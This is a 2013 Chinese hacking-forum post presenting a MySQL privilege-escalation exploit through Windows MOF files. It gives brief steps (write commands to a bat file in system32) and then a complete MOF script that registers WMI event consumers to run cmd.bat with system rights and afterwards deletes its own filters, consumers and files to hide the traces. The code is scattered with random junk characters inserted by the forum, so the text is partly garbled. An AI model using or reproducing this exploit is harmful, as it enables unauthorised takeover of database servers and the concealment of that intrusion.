找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2195|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。& z2 ~+ ~* z) l0 ?9 D9 d
需要将要运行的命令写入到bat上传到system32目录,然后执行。6 `! f$ o1 c8 `) E& k* D, G
: f; [. d$ w4 o7 e7 b5 {, U
这个sql提权MOF需要运行 system下的文件,不能定义路径。
% K7 \/ n8 \& U9 n* y4 L* j% l需要将要运行的命令写入到bat上传到system32目录,然后执行。' z7 m" o9 W, _
6 O! M0 d( Y+ J$ g
#pragma
) B) W$ S8 q$ ~5 ?, ]. M                        namespace("\\\\.\\root\\cimv2")- @2 Z+ Q+ S$ F3 u2 M
                        class
% @! P$ L! H+ @+ F% \; c                        MyClass547
( I0 Y* V- S# [, P5 j, I                        {           [key]
0 Z# x: l+ M/ X                        string6 J4 x. Q. n8 R+ O* C( k- k7 v2 k) f
                        Name;
3 v3 k" p7 ]: C5 @                        };; e* m0 J  ^+ w
                        class' z8 h4 M5 X; Y) V1 e0 o
                        ActiveScriptEventConsumer
& j, }. h# v" j2 f/ W                        : __EventConsumer {          [key]
% k" A: {0 L3 u' N  \: u! G                        string
7 _9 j# @# i( T( L, \  G3 n; E- @# N                        Name;           [not_null]
* [& W% I8 J7 y9 F                        string
+ X; O9 n  `/ a                        ScriptingEngine;           string
1 l) q: r$ h: }% O$ }. G2 g' z                        ScriptFileName;           [template]
: B6 A; {  Q% \, a/ Y) |3 W                        string
3 Q6 b, c& I" S- z8 }                        ScriptText;         uint32 KillTimeout;9 s8 @* ]2 E) M$ e- A, p  J; A- b
                        }; instance of __Win32Provider as $P {
" K9 J" s3 S/ s0 y8 G% {. y                        Name8 D( j" W9 R! E( i' ~
                        =0 v  k; B4 e5 K: g
                        "ActiveScriptEventConsumer";     CLSID =3 g4 I: Y5 d9 O7 @" r# _1 v6 z
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
) H- h& V# U5 t# ^                        PerUserInitialization
) ]$ d$ `3 e2 y: C5 }                        = TRUE;: b1 U" K7 m( U
                        }; instance of __EventConsumerProviderRegistration {         Provider6 u9 B9 l$ }& k  K! [  s
                        = $P;         ConsumerClassNames, _- d9 g+ Z# s9 `
                        =) c6 p5 q6 Q+ [* p! F2 z4 c7 t
                        {"ActiveScriptEventConsumer"};# U/ D. E& a1 F( h3 T
                        };
1 J  |0 f7 B: i3 _" v7 M* k                        Instance of ActiveScriptEventConsumer/ G6 f  V- R8 J' g0 f
                        as $cons {         Name# n) U: Q9 Q* K4 j: P" c
                        =* A4 {& E! _5 V& f6 s
                        "ASEC";         ScriptingEngine
, A6 x, k- R' P; W' l9 B7 i/ ~                        =# t' i8 T/ H- f& @8 a! N3 g# @* z
                        "JScript";         ScriptText
/ Q- O# _. X8 L7 o9 d' M                        =5 D4 X& v7 W: ~7 j/ C& t7 i) N
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };  r2 R2 `! \8 Q4 ?
                        Instance of ActiveScriptEventConsumer
' X" Q- o3 q- b( S7 J. o                        as $cons2 {         Name" i7 s, H7 z0 g; I- n
                        =
* l; X- O7 F* ~! F: `                        "qndASEC";         ScriptingEngine5 b4 L' ^( t, a% F$ u$ o
                        =" {. k9 n6 S3 e7 N- J
                        "JScript";         ScriptText. ]0 i/ S. x7 k0 [6 G& ~, m
                        =
, j" j  e. [+ G( z8 p                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
+ P8 q7 k8 f- X# i! i4 P                        }; instance of __EventFilter as $Filt {         Name
/ M- L& J  m" n/ t3 ^% {2 _9 n& T                        =) n9 ?7 `0 A* ]: V' Y2 W% K$ l
                        "instfilt";         Query6 j; w* {" v( e* E" v3 v
                        =# z% q0 r7 x9 A  K
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage5 ?% U" F. J+ C3 w3 r- y
                        =
6 D; @/ Q1 @) Z  _  d                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
5 H; t6 B/ L& x. a* D3 x                        =
. X0 T* M: b5 ~/ n9 X                        "qndfilt";         Query+ ~# k  {; W9 z$ t2 J
                        =5 F  s0 s& u4 O  b% G, u
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage$ Z; {5 I1 g7 E# V% Z3 @
                        =; }6 }2 X6 U$ R6 l, K9 ?
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
7 N/ h! M; L7 v* n9 N7 H/ y9 E8 l                        = $cons;         Filter0 f6 {( N( f* I' l
                        = $Filt;1 p; E% E' V" i
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer# G0 T/ e! T1 H2 {  ]2 n+ b" u
                        = $cons2;         Filter
3 `7 I6 O8 J) h; i  N, W                        = $Filt2;; M7 w4 X6 r3 a1 p& U
                        }; instance of MyClass547+ a0 I. U; o& I( D) N2 B) n. U
                        as $MyClass {         Name! S& ?; m1 @4 w# `
                        =
9 l, z& e0 e% ^; Z1 J5 g                        "ClassConsumer";
& x8 M! i( H3 c* g% I1 ^6 \                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表